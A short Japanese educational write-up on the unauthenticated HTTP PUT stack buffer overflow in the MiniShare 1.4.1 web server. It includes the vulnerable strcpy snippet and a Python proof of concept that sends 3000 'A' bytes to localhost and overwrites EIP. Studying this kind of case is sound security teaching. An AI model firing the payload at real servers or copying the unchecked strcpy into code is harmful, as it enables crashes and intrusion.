💡 この脆弱性が興味深い理由

この脆弱性は MiniShare 1.4.1 に影響します。MiniShare は、シンプルなローカルファイル共有のために設計された、現在は開発が終了した軽量 Windows HTTP サーバです。このソフトウェアは最新のセキュリティ対策を念頭に置かずに作成されました。教育の観点からこのケースが特に興味深いのは、以下の要素が組み合わさっている点です。

• 認証不要。HTTP PUT メソッドは資格情報のチェックなしに処理されます。ネットワーク上の任意のリモート攻撃者が、単一の細工されたリクエストで脆弱性を引き起こせます。
• 攻撃ベクトルとしての標準プロトコルメソッド。オーバーフローは HTTP PUT リクエストを通じて発生します。カスタムプロトコルや不明瞭なコマンドではありません。これは、標準的でよく知られたプロトコルメソッドでも、プロプライエタリなインターフェースと同様にエクスプロイトペイロードを運べることを示しています。
• 直接的な EIP の上書き。オーバーフローは保存されたリターンアドレスに直接到達して上書きするため、SEH チェーンを伴わない、教科書通りのバニラスタックバッファオーバーフローとなります。
• 同一バイナリに複数の CVE。CVE-2018-19861、CVE-2018-19862、CVE-2019-17601 は同一ソフトウェアにおける同一クラスの脆弱性を記述しています。異なる研究者が異なる HTTP メソッドやエンドポイントを報告したため、別々の CVE エントリが割り当てられましたが、バイナリをリバースエンジニアリングすると、すべてが同じ根本原因（固定サイズのスタックバッファに長さチェックなしで未サニタイズの入力がコピーされる）を共有していることが明らかになります。

これらの組み合わせにより、CVE-2020-13768 は、現実的な無認証シナリオにおいてネットワークベースのバッファオーバーフローエクスプロイトの基礎を教えるための優れた事例となっています。

char path_buffer[256];

strcpy(path_buffer, uri_path);

import socket

HOST = '127.0.0.1'
PORT = 80

payload = b"A" * 3000

request = (
	b"PUT /" + payload + b" HTTP/1.1\r\n"
	b"Host: 127.0.0.1\r\n"
	b"Connection: close\r\n"
	b"\r\n"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()

EIP = 41414141